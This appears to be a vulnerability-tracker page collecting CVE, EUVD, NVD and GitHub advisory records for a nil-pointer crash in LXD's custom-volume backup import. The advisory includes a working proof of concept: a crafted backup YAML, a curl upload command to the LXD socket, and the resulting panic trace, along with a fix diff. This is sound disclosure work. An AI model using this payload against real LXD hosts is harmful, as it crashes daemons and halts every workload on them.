Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 21:58 UTC Customize Public modeDiscuss ChangeIntel on Discord

Authenticated Denial of Service via Malicious Backup Tarball in LXD

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-9639

Published

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

Source published
26 Jun 2026 15:39:04 UTC
Source modified
26 Jun 2026 16:02:11 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-39789

Published

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 26, 2026, 3:39:04 PM

dateUpdated: Jun 26, 2026, 4:02:11 PM

Source published
Jun 26, 2026, 3:39:04 PM (timezone not stated)
Source modified
Jun 26, 2026, 4:02:11 PM (timezone not stated)
Observed here
6 Nov 2026 20:10:39 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-9639

Published

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-476

Original publisher date fields

published: 2026-06-26T16:16:37.143

lastModified: 2026-10-25T17:10:00.197

2 source CPE criteria · context only
  • cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*
  • cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
26 Jun 2026 16:16:37 UTC
Source modified
25 Oct 2026 17:10:00 UTC
Observed here
6 Nov 2026 20:10:38 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-j93m-3j9p-m5m8

Published

## Summary (sibling-field variant of CVE-2026-40197 fix 05bc272) `(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted. This is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug. ## Vulnerable code [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`: ```go // Line 8141-8150 — earliest snapshot validation pass (caches s == nil) for i, snap := range customVol.Snapshots { if snap == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } err = drivers.ValidVolumeName(snap.Name) ... } // Line 8196-8216 — the snapshot DB-create loop for i, s := range customVol.Snapshots { if s == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } snapshot := s ... // Line 8216 — UNGUARDED *time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML snapVol.ContentType(), true, true) ``` `ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`): | Line | Code | Guarded? | |------|------|----------| | 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES | | 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES | | 1558-1559 | srcSnap.ExpiresAt | YES | | 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES | | 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES | | 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES | | 5527-5528 | srcSnap.ExpiresAt | YES | | **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** | ## Reach 1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197. 2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`. 4. `lxd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`. 5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service. Minimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml): ```yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: version: 2 pools: - {name: default, driver: dir, config: {}} volumes: - name: poc-vol type: custom pool: default content_type: filesystem config: {} snapshots: - name: snap0 description: snap0 config: {} # expires_at intentionally omitted ``` ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`. Tested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps && go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool. ```bash $ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep lxd | grep -v grep # daemon GONE ``` Daemon panic from `/tmp/lxd.out`: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8] goroutine 683 [running]: github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...) github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58 main.createStoragePoolVolumeFromBackup.func6(...) github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0 github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...) github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655 github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8 ``` Stack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line. ## Impact - **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier. - **Network attack surface:** the LXD REST API on `:8443` or the unix socket. - **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus. ## Suggested fix Mirror the guard pattern already in use elsewhere in this file: ```diff --- a/lxd/storage/backend_lxd.go +++ b/lxd/storage/backend_lxd.go @@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error { snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = *snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err } ``` ## Related advisories - `GHSA-r7w7-mmxr-47r9` (CVE-2026-40197) / commit `05bc272` (cherry-pick of incus `985a1dedf`) — parent fix: added `s == nil` checks at multiple consumer sites, missed the `*snapshot.ExpiresAt` deref at line 8216. - `lxc/incus GHSA-xhqx-mgh3-3h7q` (sibling report filed by same reporter against the upstream-equivalent line [`internal/server/storage/backend.go:7731`](https://github.com/canonical/lxd/blob/05bc272/internal/server/storage/backend.go#L7731) in incus). The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences. ## Reporter notes Reported via Privately-Reported Vulnerability against `canonical/lxd` by tonghuaroot.

Source published
6 Nov 2026 19:37:14 UTC
Source modified
6 Nov 2026 19:45:05 UTC
Observed here
6 Nov 2026 20:10:26 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 21:58 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current